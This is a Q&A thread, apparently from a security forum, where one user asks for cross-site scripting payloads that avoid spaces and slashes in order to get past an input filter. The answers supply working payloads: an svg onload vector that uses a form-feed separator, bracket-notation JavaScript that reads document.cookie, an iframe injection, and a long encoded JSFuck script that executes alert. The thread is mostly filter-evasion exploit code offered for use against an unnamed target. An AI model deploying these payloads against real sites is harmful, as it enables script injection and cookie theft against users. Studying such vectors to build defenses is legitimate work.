12

I need an XSS vector that doesn't use forward slashes nor spaces. I've gone through lists of hundreds of vectors, but they usually have one of those two. The space gets URL encoded, and anything after a slash gets deleted.

I've tried things such as <script\src=*>, but you'd need a forward slash to make it work from my understanding.

Improve this question
4
  • Are non-space white space characters such as tabs or line breaks allowed?
    – Rob W
    Dec 27, 2013 at 0:42
  • I tried a tab just a bit ago and it was deleted. It's in a URL, so I'm not sure if a line break would work unless it was encoded.
    – Michael Blake
    Dec 27, 2013 at 0:48
  • 2
    look at the IE xss filter bypasses by whitehat.
    – rook
    Dec 27, 2013 at 7:04
  • XSS works differently depending on what context you are injecting into (attribute value, script, between tags, etc). Please include that in your question.
    – Anders
    Jun 29, 2016 at 16:57

3 Answers 3

Reset to default
31
+50

No space, no slash:

<svg•onload=alert(1)>

The • above should be a form feed character (0x0c), but SE does not allow it in posts. See how it runs here.

Improve this answer
5
  • That is nicely done. That probably will work!
    – Karthik Rangarajan
    Dec 31, 2013 at 1:27
  • What sign is that supposed to be between svg and onload? When I copy it from here, it doesn't work. When I copy it from the URL you provided it does work. But what unicode character is it exactly? My impression is, that as soon as I copy it, it changes its format.
    – user857990
    Aug 27, 2015 at 12:07
  • 2
    Doesn't work for me in the latest version of chrome.
    – gsgx
    Sep 26, 2015 at 5:30
  • 5
    That character is the "Form Feed" character, hex 0c, decimal 12. en.wikipedia.org/wiki/Page_break#Form_feed
    – Mark Stewart
    Jun 27, 2016 at 17:32
  • That • needs to be replace with 0x0c, but SE would strip it from the answer.
    – Arminius
    Feb 9, 2020 at 0:09
8

It's hard to come up with a vector without having the actual vulnerability in front of me, but in the past, when I've faced such problems, I've gone the non-alphanumeric way to exploit it. This blog has an excellent description of how it is done. A few vectors are in this pastie as well.

I'm going to assume you have a way to execute scripts, but you just need the correct payload to execute. From the blog referenced above:

Since JavaScript has two different syntactic forms to access properties, you can access an Object method like a dictionary:

object.method(arguments) === object["method"](arguments)

So going with this method, your payload could then be something like:

this["alert"]("xss")

If you want to pull out the cookie, you could also use

this["alert"](this["document"]["cookie"])

Using either of these methods should hopefully get you the code execution you're looking for. These don't have spaces or slashes - thought you would still need to be within an attribute of some sort, or you should have the ability to enclose it in <script> tags. In some browsers, you could try something like <script>{your vector}<script>, and it might work (I remember it working for me on IE a while ago)

EDIT: If this is just a proof of concept for an input validation vulnerability, you could also embed an iFrame. Again, depending on the browser, iFrames don't need closing tags. so <iframe\src='www.google.com'> might just do the job.

Improve this answer
9
  • Thank you for the reply and the informative information, but like you said, you'd still need a closing script tag for it to work.
    – Michael Blake
    Dec 27, 2013 at 1:22
  • Sorry, just saw your edit. I just tried it with two opening tags in IE and it didn't seem to work. It might be because IE is encoding my URL. Also, I don't know if it makes a difference, but it's DOM XSS.
    – Michael Blake
    Dec 27, 2013 at 1:29
  • Would it be possible at all to include the point of injection? That would definitely make the job easier. Sanitize whatever you think is necessary, but just the gist of where the injection is would make it easier to attack. Also, I added another edit where you could use an iframe, but if it's DOM based, it might not work.
    – Karthik Rangarajan
    Dec 27, 2013 at 1:31
  • 1
    So I tried recreating the JS that you gave to try attacks; it looks like they're doing something in addition to whatever it is that jQuery does to do the HTML encoding of space, and TAB. When I provide a space, it seems to work the way I expect it to. I would suggest looking into that filter to see if you can bypass it. Also, evals won't work. :)
    – Karthik Rangarajan
    Dec 28, 2013 at 22:10
  • 1
    @MichaelBlake you could email me at myfirstname at isdpodcast dot com. If it's related to this, I would even suggest updating the question with the above screenshots and any new information you may have, so that people smarter than me can help.
    – Karthik Rangarajan
    Dec 29, 2013 at 3:33
4

I know I'm a little late to the party, but there's another effective vector. Encoding the payload. Here's a sample payload that triggers an alert:

<script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()</script>

The jsfiddle is here. No spaces, no nothing. The payload is made up of six characters, ![]+(). No spaces involved.

You can encode the payload using this tool.

Improve this answer

Not the answer you're looking for? Browse other questions tagged or ask your own question.